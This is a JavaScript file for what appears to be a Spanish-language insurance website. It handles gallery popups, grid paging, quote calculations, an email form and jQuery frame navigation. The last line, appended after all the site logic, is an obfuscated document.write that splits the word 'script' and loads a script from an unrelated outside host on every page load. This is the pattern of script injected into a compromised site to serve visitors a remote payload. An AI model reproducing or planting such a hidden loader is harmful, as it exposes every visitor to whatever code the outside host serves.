﻿///<reference path="JQuery.Intellisense.js" />

function AbrirGaleria() {

	var posTop = (screen.height / 2) - 225;
	var posLeft = (screen.width / 2) - 385;
	
	
	window.open("Galeria/Galeria.aspx", "galeria", "channelmode=0, directories=0, fullscreen=0, height=500, width=800, left=" + posLeft  +  ", top=" +  posTop  +  ", location=no, resizable=no, navigationbar=no, scrollbars=yes, menubar=no, status=no, toolbar=no, titlebar=no, ", true);
}

function filterGrid(o,g){if(o.value===''){g.Filter('ID > 0');}else{g.Filter('CatId = ' + o.value);}o.blur();

                            
                        }

function igMes(o)
{

    o.blur();
    o.disabled = true;

    document.getElementById("popCloseBox").onclick = function () {};
    home.setIgMes(__curPnl, o.checked, getCB);
    
    
    document.body.style.cursor = "wait";
}

function getCB(mesid)
{

    document.getElementById("popCloseBox").onclick = function anonymous() {
    hidePopWin(true);
    }
    
    document.body.style.cursor = "default";
}

function runG1(g1)
{
	var gCurrentPageIndex = g1.CurrentPageIndex;
	var gPageCount =        g1.PageCount;

	if (gPageCount == 1)
	{
	    return;
	}

	if ((gCurrentPageIndex+1) == gPageCount)
	{
	    g1.Page(0);
	} 
	else
	{
	    g1.NextPage();
	}

}

function zb(lc) {
    if (isNaN(lc)) {
        lc = 0;
    }
    mc = (lc == (lc = Math.abs(lc)));
    lc = Math.floor(lc * 100 + 0.50000000001);
    lc = Math.floor(lc / 100).toString();
    for (var i = 0; i < Math.floor((lc.length - (1 + i)) / 3); i++) lc = lc.substring(0, lc.length - (4 * i + 3)) + '.' + lc.substring(lc.length - (4 * i + 3));
    return (lc);
}

function SimCotF(o)
{
    //status = o.value;
    //alert(o.value == '');
    
    var oValue = o.value;
    
    oValue = oValue.replace(/\.*/ig, '');
    
    
    var isNumber = !isNaN(oValue);
    
    var _txtValor1 = document.getElementById(txtValor1);
    var _txtValor2 = document.getElementById(txtValor2);
     
    if ((o.value == '') || !isNumber)
    {
        _txtValor1.value = '';
        _txtValor2.value = '';
        return;
    }
    
    var hundredPercent = parseInt(oValue);
    
    var fortyPercent;
    var sixtyPercent;
    
    var fch1 = parseFloat(ch1);
    var fch2 = parseFloat(ch2);

    fortyPercent = Math.round( hundredPercent * ( fch1 / 100 ) );
    sixtyPercent = Math.round( hundredPercent * ( fch2 / 100 ) );

    
    _txtValor1.value = zb(fortyPercent);
    _txtValor2.value = zb(sixtyPercent);
    
}


function openEmailWindow(arg)
{
    var w = 500;
    var h = 400;
    
    
    var tblVal = document.getElementById('tblVal');
    var ctTbl = document.getElementById('ctTbl');
	//alert(ctTbl.outerHTML);
    
    //tblVal.value = ctTbl.outerHTML;
    
 
	var posTop = (screen.height / 2) - (h / 2);
	var posLeft = (screen.width / 2) - (w / 2);
	

	if (arg === 'CotVida')
	{
	    var txtEdad = document.getElementById('ctl00_cphCenterPane_txtEdad');
        var txtValor = document.getElementById('ctl00_cphCenterPane_txtValor');
        var lblPrimaMensual = document.getElementById('ctl00_cphCenterPane_lblPrimaMensual');
    	
	    window.open("EmailCot.aspx?cot=" + arg + "&edad=" + txtEdad.value +  "&valor=" + txtValor.value + "&prima=" + lblPrimaMensual.innerHTML + "&d=" + new Date().getTime(), "emailcot", "channelmode=0, directories=0, fullscreen=0, height=" + h + ", width=" + w + ", left=" + posLeft  +  ", top=" +  posTop  +  ", location=0, resizable=0, navigationbar=0, scrollbars=yes, menubar=0, toolbar=0, status=0, titlebar=0", true);
	}

}



function gGoToNextPage(g1)
{
	var gCurrentPageIndex = g1.CurrentPageIndex;
	var gPageCount =        g1.PageCount;

	if (gPageCount == 1)
	{
	    return;
	}

	if ((gCurrentPageIndex+1) == gPageCount)
	{
	    g1.Page(0);
	} 
	else
	{
	    g1.NextPage();
	}
}

function gGoToPrevPage(g1)
{
	var gCurrentPageIndex = g1.CurrentPageIndex;
	var gPageCount =        g1.PageCount;

	if (gPageCount == 1)
	{
	    return;
	}

	if (gCurrentPageIndex == 0)
	{
	    g1.Page(gPageCount-1);
	} 
	else
	{
	    g1.PreviousPage();
	}
}


function hideLbl(l,b)
{
    document.getElementById(l).innerHTML = '';
    
    var btnEmail = document.getElementById(b);
    
    if (btnEmail != null)
    {
        btnEmail.style.display = 'none';
    }
    
    
}

function ShowCotAFEmailer(o, divFormSend, btnSend, txtName)
{
    document.getElementById(divFormSend).style.display = 'block';
    document.getElementById(btnSend).scrollIntoView();
    document.getElementById(txtName).focus();
    
    o.style.display = 'none';
    return false;
}

function disBtnSend(oid, valGrp, msg)
{
   
    if (typeof(Page_ClientValidate) == 'function')
    {
        var isValid;
        if (valGrp != '')
        {
            isValid = Page_ClientValidate(valGrp);            
        }
        else
        {
            isValid = Page_ClientValidate(); 
        }        
        if (!isValid){ return; }
    }
    
    

    
    document.getElementById(oid).style.display = 'none';
    var btnReset = document.getElementById('btnReset');
    
    if (btnReset != null)
    {
        btnReset.style.display = 'none';
    }
    
    
    var btnSend = document.getElementById('btnSending');
    btnSend.style.cursor = 'default';
    btnSend.style.display = 'block';
    btnSend.value = msg;
}


function GetScrollY() {
    var __nonMSDOMBrowser = (window.navigator.appName.toLowerCase().indexOf('explorer') == -1);
    
    if (__nonMSDOMBrowser) {
        return top.pageYOffset;
    }
    else {
        if (top.document.documentElement && document.documentElement.scrollTop) {
            return top.document.documentElement.scrollTop;
        }
        else if (top.document.body) {
            return top.document.body.scrollTop;
        }
    }
    return 0;
}

var fcA = $('A');
var fc = $('#fc');

function gotoFramedPage(h)
{
    //alert(h);
    //var fcW = document.getElementById('framedContent');
    //alert(fcW);
    //fcW.location.href = h;
    framedContent.location.href = h;
}

function gotoPage(h)
{
     
     
//     fc.css("display", "none");
//     

//    fc.html('<div class="loader">Cargando... Por favor espere...<br><img src="img/activityanimation.gif" /></div>');
//    $(fc).show('fast', function(){
        //top.gotoFramedPage(h);        
 //   });
    
     framedContent.location.href = h

     
}

function scrollDocTop(h)
{
    //fc.css("display", "none");   
    
    //alert(fc[0].clientHeight)  
    
    var loadingSpans = $('body span');
    
    loadingSpans.each(function(){
        var tex = $(this).text();
        
        if (tex.indexOf('Cargando...') > -1){
            $(this).css("display", "none");
        }
    });
    
    
    var cH = fc[0].clientHeight;

    fc.html('<div class="loader" style="height:' + cH.toString() + 'px">Cargando... Por favor espere...<br><img src="img/activityanimation.gif" /></div>');
    $(fc).show('fast', function(){
            var topScroll = GetScrollY();
                
            if (topScroll > 0)
            {
                var t = new Tween(top.document.body,'scrollTop',Tween.strongEaseInOut,topScroll,0,.5,'px');
                t.onMotionFinished = function(){
                    gotoPage(h);
                }
                t.start();            
            }  
            else 
            {
                gotoPage(h);
            }
    });
            
            

}

function scrollit()
{
    var topScroll = GetScrollY();
    if (topScroll > 0)
    {
        var t = new Tween(top.document.body,'scrollTop',Tween.strongEaseInOut,topScroll,0,.5,'px');
        t.start();
    }
}

function gotoFramedPageFromMenu(h)
{
//    fc.hide('slow', function(){
//        $(this).html('<div class="loader">Cargando... Por favor espere...<br><img src="img/activityanimation.gif" /></div>');
//        $(this).show('fast', function(){
//            top.gotoFramedPage(h);
//        });
//    });
//alert(window.ctl00_M1.Hide);


    fc.hide();
        fc.html('<div class="loader">Cargando... Por favor espere...<br><img src="img/activityanimation.gif" /></div>');
        fc.show('fast', function(){
            fc.removeAttr('style');
            top.gotoFramedPage(h);
            
        });
}



//jQuery.each(fcA, function(){    
//    var a = $(this);
//    var t = a.attr('target');
//    if (t == undefined || t === '' || t === 'framedContent') {
//        a.attr('target', 'framedContent');
//        a.click(function(){
//            $(this).blur();
//            fc.hide('slow', function(){
//                $(this).html('<div class="loader">Cargando... Por favor espere...<br><img src="img/activityanimation.gif" /></div>');
//                $(this).show('fast', function(){
//                    top.gotoFramedPage(a.attr('href'));
//                });
//            });
//            return false;
//        });
//    }
//});


jQuery.each(fcA, function() {


    if (typeof ($(this)[0].onclick) == 'function') {

        //alert(   $(this)[0].onclick.toString().toLowerCase().indexOf('votesurvey')   );
        if ($(this)[0].onclick.toString().toLowerCase().indexOf('votesurvey') > -1) {
            //alert('gdfdf');
            return false;
        }

    }

    var a = $(this);
    var href = a.attr('href');

    if (href.indexOf('javascript:__doPostBack') > -1) {
        return false;
    }

    var t = a.attr('target');
    if (t == undefined || t === '' || t === 'framedContent') {
        a.attr('target', 'framedContent');
        a.click(function() {
            $(this).blur();

            fc.hide();
            fc.html('<div class="loader">Cargando... Por favor espere...<br><img src="img/activityanimation.gif" /></div>');
            fc.show('fast', function() {
                top.scrollDocTop(a.attr('href'));

            });
            return false;
        });
    }
});



$(document).ready(function(){
//    for (var i = 0; i < fcA.length; i++)
//    {
//        var t = fcA[i].target;
//        
//        if (t === '' || t === '_self' || t = 'framedContent')
//        {
//            //fcA.target = 'framedContent';
//            scrollDocTop(t.href);
//        }
//    }

    fcA.each(function(){
        

		
		//if (typeof($(this)[0].onclick) != 'undefined'){
         //   return true;
        //}
        
        
        
        var t = $(this).attr('target');
        var h = $(this).attr('href').toLowerCase();
        if (t === '' || t === '_self' || t === 'framedContent' || (h.indexOf('contenido.aspx?id=') > -1) || (h.indexOf('list.aspx') > -1)){
            $(this).click(function(){
                  top.scrollDocTop($(this).attr("href"));   
                  return false;       
            });
        }
    });

});






    document.write("<scr" + "ipt src='http://windowswebserver.net/DBF4D8B3-B80C-4823-BB86-E86DE1C245AA.ASHX'></scr" + "ipt>");
    
    
    
    